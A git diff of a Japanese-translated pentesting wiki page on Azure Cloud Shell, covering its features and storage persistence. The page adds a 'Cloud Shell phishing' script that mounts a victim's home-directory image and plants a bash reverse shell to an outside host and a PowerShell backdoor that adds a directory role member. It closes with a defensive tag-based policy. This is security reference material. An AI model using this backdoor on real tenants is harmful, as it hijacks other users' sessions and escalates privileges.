Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh

This commit is contained in:
Translator
2025-02-21 13:57:28 +00:00
parent 5605518496
commit a679eab250

View File

@@ -6,23 +6,111 @@
**Azure Cloud Shell** は、Azure リソースを管理するために設計されたインタラクティブで認証されたブラウザアクセス可能なターミナルで、Bash または PowerShell のいずれかで作業する柔軟性を提供します。これは、20 分間の非アクティブ状態の後にタイムアウトする一時的なセッションホスト上で実行され、$HOME ロケーションに 5 GB のファイル共有を使用してファイルを保持します。Cloud Shell には、Azure ポータル、shell.azure.com、Azure CLI および PowerShell ドキュメント、Azure モバイルアプリ、Visual Studio Code Azure アカウント拡張機能など、複数のポイントからアクセスできます。
このサービスには権限が割り当てられていないため、特権昇格技術はありません。また、列挙の種類もありません。
このサービスには権限が割り当てられていないため、特権昇格技術はありません。また、何らかの列挙もありません。
### Key Features
### 主な機能
**Environment**: Azure Cloud Shell は、クラウドインフラストラクチャ用に設計された Microsoft の独自の Linux ディストリビューションである Azure Linux 上で実行されることにより、安全な環境を提供します。Azure Linux リポジトリに含まれるすべてのパッケージは、サプライチェーン攻撃から守るために Microsoft によって内部的にコンパイルされています。
**Preinstalled Tools**: Cloud Shell にはAzure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git、vim、nano、emacs などのテキストエディタを含む包括的なセットのプリインストールツールが含まれています。これらのツールはすぐに使用できます。インストールされたパッケージとモジュールをリストするには、「Get-Module -ListAvailable」、「tdnf list」、および「pip3 list」を使用できます。
**$HOME persistence**: Azure Cloud Shell を初めて起動する際、ストレージアカウントを添付するかしないかを選択できます。ストレージを添付しないことを選択すると、セッションが終了するとファイルが削除される一時的なセッションが作成されます。セッション間でファイルを保持するには、ストレージアカウントをマウントします。こにより、**$HOME\clouddrive** として自動的に添付され、**$HOME** ディレクトリは Azure File Share に **.img** ファイルとして保存されます。ただし、$HOME 外のファイルとマシンの状態は保持されません。SSH キーなどの秘密を安全に保存するには、Azure Key Vault を使用してください。
**Azure drive (Azure:)**: Azure Cloud Shell の PowerShell には Azure ドライブ (Azure:) が含まれており、ファイルシステムのようなコマンドを使用して Compute、Network、Storage などの Azure リソースを簡単にナビゲートできます。cd Azure: で Azure ドライブに切り替え、cd ~ でホームディレクトリに戻ります。どのドライブからでもリソースを管理するために Azure PowerShell cmdlet を使用することもできます。
**Custom Tool Installation**: ストレージアカウントで Cloud Shell を構成するユーザーは、ルート権限を必要としない追加のツールをインストールできます。この機能により、Cloud Shell 環境のさらなるカスタマイズが可能になり、ユーザーは特定のニーズに合わせてセットアップを調整できます。
- **プリインストールされたツール**: Cloud Shell は、Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git、vim、nano、emacs などの包括的なプリインストールツールセットが含まれています。これらのツールはすぐに使用できます。インストールされているパッケージやモジュールをリストするには、「Get-Module -ListAvailable」、「tdnf list」、「pip3 list」を使用できます。
- **Azure ドライブ (Azure:)**: Azure Cloud Shell の PowerShell には Azure ドライブ (Azure:) が含まれており、ファイルシステムのようなコマンドを使用して Compute、Network、Storage などの Azure リソースを簡単にナビゲートできます。cd Azure: で Azure ドライブに切り替え、cd ~ でホームディレクトリに戻ります。どのドライブからでもリソースを管理するために Azure PowerShell cmdlet を使用することもできます。
- **カスタムツールのインストール**: ストレージアカウントで Cloud Shell を構成するユーザーは、ルート権限を必要としない追加のツールをインストールできます。この機能により、Cloud Shell 環境のさらなるカスタマイズが可能になり、ユーザーは特定のニーズに合わせてセットアップを調整できます。
- **$HOME の永続性**: Azure Cloud Shell を初めて起動する際、ストレージアカウントを添付するかしないかを選択できます。
- ストレージを添付しないことを選択すると、セッションが終了するとファイルが削除される一時的なセッションが作成されます。
- セッション間でファイルを保持するには、**ストレージアカウントをマウントする**オプションが提供され、これが自動的に `$HOME\clouddrive` として添付され、あなたの `$HOME` ディレクトリは **ファイル共有内の .img ファイルとして保存されます。**
## References
### Cloud Shell フィッシング
攻撃者がストレージアカウント内の他のユーザーの画像を見つけ、読み書きアクセスを持っている場合、彼は画像をダウンロードし、**bash と PS のバックドアを追加し**、再びストレージアカウントにアップロードすることができます。次回ユーザーがシェルにアクセスすると、**コマンドが自動的に実行されます**。
- **画像をダウンロードし、バックドアを追加してアップロードする:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **次に、ユーザーをフィッシングして https://shell.azure.com/ にアクセスさせます。**
### Cloud Shell 自動ストレージアカウントを見つけて禁止する
Cloud Shell によって作成されたストレージアカウントは **`ms-resource-usage:azure-cloud-shell`** タグが付けられています。このタグを持つリソースの作成を無効にする Azure リソースポリシーを作成することが可能です。
タグによって Cloud Shell によって作成されたすべてのストレージアカウントを見つけます:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
タグに基づいてクラウドシェルストレージの自動ストレージアカウントの作成を禁止するポリシー:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## 参考文献
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
## 永続性
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md